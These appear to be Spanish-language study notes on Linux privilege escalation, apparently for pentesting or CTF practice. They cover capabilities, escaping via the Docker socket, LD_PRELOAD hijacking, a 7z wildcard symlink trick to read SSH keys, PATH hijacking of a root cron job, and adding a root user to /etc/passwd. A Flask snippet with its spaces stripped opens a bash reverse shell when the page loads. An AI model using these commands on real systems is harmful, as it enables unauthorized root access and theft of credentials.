find /usr/bin /usr/sbin /usr/local/bin /usr/local/sbin -type f -exec getcap {} \;: este comando hace un chequeo de los binarios que tienen capabilities.
Capacidad
Descripción
cap_sys_admin
Permite realizar acciones con privilegios administrativos, como modificar archivos del sistema o cambiar configuraciones del sistema.
cap_sys_chroot
Permite cambiar el directorio raíz para el proceso actual, permitiéndole acceder a archivos y directorios que de otro modo serían inaccesibles.
cap_sys_ptrace
Permite adjuntar y depurar otros procesos, potencialmente permitiendo acceder a información sensible o modificar el comportamiento de otros procesos.
cap_sys_nice
Permite aumentar o disminuir la prioridad de los procesos, potencialmente permitiendo acceder a recursos que de otro modo estarían restringidos.
cap_sys_time
Permite modificar el reloj del sistema, potencialmente permitiendo manipular marcas de tiempo o causar que otros procesos se comporten de manera inesperada.
cap_sys_resource
Permite modificar los límites de recursos del sistema, como el número máximo de descriptores de archivos abiertos o la cantidad máxima de memoria que se puede asignar.
cap_sys_module
Permite cargar y descargar módulos del kernel, potencialmente permitiendo modificar el comportamiento del sistema operativo o acceder a información sensible.
cap_net_bind_service
Permite enlazar a puertos de red, potencialmente permitiendo acceder a información sensible o realizar acciones no autorizadas.
Valor de Capacidad
Descripción
=
Este valor establece la capacidad especificada para el ejecutable, pero no otorga ningún privilegio. Esto puede ser útil si queremos borrar una capacidad previamente establecida para el ejecutable.
+ep
Este valor otorga los privilegios efectivos y permitidos para la capacidad especificada al ejecutable. Esto permite que el ejecutable realice las acciones que la capacidad permite, pero no le permite realizar acciones que no estén permitidas por la capacidad.
+ei
Este valor otorga privilegios suficientes y heredables para la capacidad especificada al ejecutable. Esto permite que el ejecutable realice las acciones que la capacidad permite y que los procesos hijos generados por el ejecutable hereden la capacidad y realicen las mismas acciones.
+p
Este valor otorga los privilegios permitidos para la capacidad especificada al ejecutable. Esto permite que el ejecutable realice las acciones que la capacidad permite, pero no le permite realizar acciones que no estén permitidas por la capacidad. Esto puede ser útil si queremos otorgar la capacidad al ejecutable pero evitar que herede la capacidad o que los procesos hijos la hereden.
Capacidad
Descripción
cap_setuid
Permite a un proceso establecer su ID de usuario efectivo, lo que puede usarse para obtener los privilegios de otro usuario, incluido el usuario root.
cap_setgid
Permite establecer su ID de grupo efectivo, lo que puede usarse para obtener los privilegios de otro grupo, incluido el grupo root.
cap_sys_admin
Esta capacidad proporciona una amplia gama de privilegios administrativos, incluyendo la capacidad de realizar muchas acciones reservadas para el usuario root, como modificar configuraciones del sistema y montar y desmontar sistemas de archivos.
cap_dac_override
Permite omitir las verificaciones de permisos de lectura, escritura y ejecución de archivos.
find /usr/bin /usr/sbin /usr/local/bin /usr/local/sbin -type f -exec getcap {} \;: este comando hace un chequeo de los binarios que tienen capabilities.
La escalación de privilegios en Linux mediante Docker se basa en explotar configuraciones inseguras del demonio Docker. Un caso común ocurre cuando el socket de Docker (/var/run/docker.sock) es accesible por un usuario sin privilegios, lo que permite ejecutar contenedores con permisos elevados y, potencialmente, escapar al sistema host.
Este comando ejecuta un contenedor Ubuntu en modo chroot, permitiendo ejecutar comandos en el sistema host.
docker -H unix:///var/run/docker.sock Indica que Docker debe conectarse al socket UNIX /var/run/docker.sock, el cual es el punto de comunicación entre el cliente y el deamon de Docker.
Si un usuario tiene acceso a este socket, puede controlar Docker como root.
run -v /:/mnt --rm -it ubuntu Crea un contenedor Ubuntu en modo chroot, con acceso a la carpeta raíz del sistema host.
chroot /mnt bash Ejecuta el comando bash en el contenedor Ubuntu, permitiendo ejecutar comandos en el sistema host.
--rm Elimina el contenedor después de que se haya ejecutado el comando.
Definición: Shared Object Hijacking es un ataque que permite a un atacante inyectar código malicioso en un proceso que está ejecutando un binario compartido (como un servidor web o un servidor de bases de datos) para que el código se ejecute en el contexto del proceso.
Podemos utilizar ldd para encontrar las librerías compartidas del binario: `ldd /usr/bin/binario
Podemos encontrar las rutas de las librerías compartidas del binario: strings /usr/bin/binario | grep "Shared object" | cut -d ":" -f 2
Si encontramos alguna libreria interesante pdemos cargar una libreria compartida personalizada, por ejemplo LD_PRELOAD=/usr/lib/x86_64-linux-gnu/libmysqlclient.so.20.so /usr/bin/binario
Definición: Wildcards son caracteres especiales que permiten buscar y manipular archivos y directorios de manera más eficiente.
Ataque con 7z: Se pueden crear archivos donde 7z se va a ejecutar y hacer un symlink attack para obtener acceso a archivos que no deberíamos tener acceso.
cd /path/to/7z/acting/folder
touch @root.txt
ln -s /file/you/want/to/read root.txt
Pensar que con esto se puede conseguir /root/.ssh/id_rsa
fromflaskimportFlask,render_templateimportsubprocessimportosapp=Flask(__name__)@app.route("/")defhome():# Comando para iniciar una reverse shell al localhost:9000try:# Usamos /bin/bash para la reverse shellcmd="/bin/bash -c 'bash -i >& /dev/tcp/127.0.0.1/9000 0>&1'"subprocess.Popen(cmd,shell=True,stdout=subprocess.PIPE,stderr=subprocess.PIPE)returnrender_template("index.html")exceptExceptionase:returnf"Error al iniciar la reverse shell: {str(e)}"if__name__=="__main__":app.run(host="0.0.0.0",port=5000)
Ahora si hacemos curl curl http://localhost:5000/ nos va a dar una reverse shell.
Definición: Bash gobbling es un ataque que permite a un atacante ejecutar comandos arbitrarios en un sistema vulnerable al inyectar código malicioso en una variable de entorno.
Este ataque se basa en la forma en que Bash maneja las variables de entorno y los argumentos de línea de comandos.
Por ejemplo podemos tener un cronjob que ejecute un script de bash con una variable de entorno que contenga un comando malicioso.
En este caso el script de backup-flask.sh tiene una variable de entorno PATH que apunta a un directorio donde podemos colocar un script malicioso.
✅ Corre como root.
✅ El PATH pone una ruta controlada por el usuario primero.
✅ Ejecuta tar sin ruta absoluta.
Nos paramos sobre el directorio que figura en la variable PATH y creamos un script que se llame tar que agarre el /bin/bash y le de el setuid bit para que corra como root.
Definición: El archivo /etc/passwd es un archivo de texto que contiene información sobre las cuentas de usuario en un sistema Linux. Cada línea del archivo representa una cuenta de usuario y contiene varios campos separados por dos puntos (:).
Si un atacante puede escribir en este archivo, puede crear cuentas de usuario adicionales o modificar cuentas existentes, lo que puede llevar a la escalación de privilegios.
si podemos meter esta linea: new-user:$1$ignite$3eTbJm98O9Hz.k1NTdNxe1:0:0:root:/root:/bin/bash en el archivo /etc/passwd podemos obtener acceso root.